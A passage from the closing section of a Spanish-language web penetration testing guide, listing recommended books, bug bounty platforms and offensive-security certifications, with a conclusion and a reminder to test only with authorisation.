  • "Web Hacking 101" - Peter Yaworski
  • "Mastering Modern Web Penetration Testing" - Prakhar Prasad
  • "Bug Bounty Bootcamp" - Vickie Li
  • "Black Hat GraphQL" - Dolev Farhi y Nick Aleks
  • "API Security in Action" - Neil Madden

Comunidades y Foros

Plataformas de Bug Bounty

  • HackerOne: Principal plataforma de bug bounty
  • Bugcrowd: Plataforma de crowdsourced security
  • Intigriti: Plataforma europea de bug bounty
  • YesWeHack: Plataforma global de bug bounty
  • Synack: Plataforma de pentesting crowdsourced

Blogs y Recursos Técnicos

Certificaciones Relevantes (2025)

Certificaciones de Pentesting Web

  • OSCP (Offensive Security Certified Professional): Certificación práctica de hacking ético
  • OSWE (Offensive Security Web Expert): Especializada en seguridad de aplicaciones web
  • EWPT (eLearnSecurity Web application Penetration Tester): Enfocada en pentesting web
  • PNPT (Practical Network Penetration Tester): Certificación práctica con componente web
  • GWAPT (GIAC Web Application Penetration Tester): Certificación especializada en aplicaciones web

Certificaciones Específicas

  • GXPN (GIAC Exploit Researcher and Advanced Penetration Tester): Para pentesting avanzado
  • OSEP (Offensive Security Experienced Penetration Tester): Nivel avanzado de pentesting
  • OSACP (Offensive Security API Certified Professional): Nueva certificación especializada en APIs
  • CSSLP (Certified Secure Software Lifecycle Professional): Para integrar seguridad en el desarrollo

Conclusión

El pentesting web es un campo en constante evolución que requiere aprendizaje continuo. Esta guía te ha proporcionado los fundamentos y técnicas avanzadas para comenzar y desarrollarte en este campo, pero recuerda que la práctica constante y la curiosidad son clave para convertirte en un pentester efectivo.

En 2025, el panorama de seguridad web sigue transformándose con nuevas tecnologías, arquitecturas y vectores de ataque. Mantente actualizado con las últimas vulnerabilidades, técnicas y herramientas, y nunca dejes de aprender y experimentar en entornos controlados.


Nota Importante

Recuerda que las habilidades de pentesting deben usarse únicamente en entornos autorizados y con consentimiento explícito. El uso no autorizado de estas técnicas puede tener consecuencias legales graves. La ética y la responsabilidad son fundamentales en la seguridad informática.


Apoyan el proyecto

Organizaciones que hacen posible nuestra misión en ciberseguridad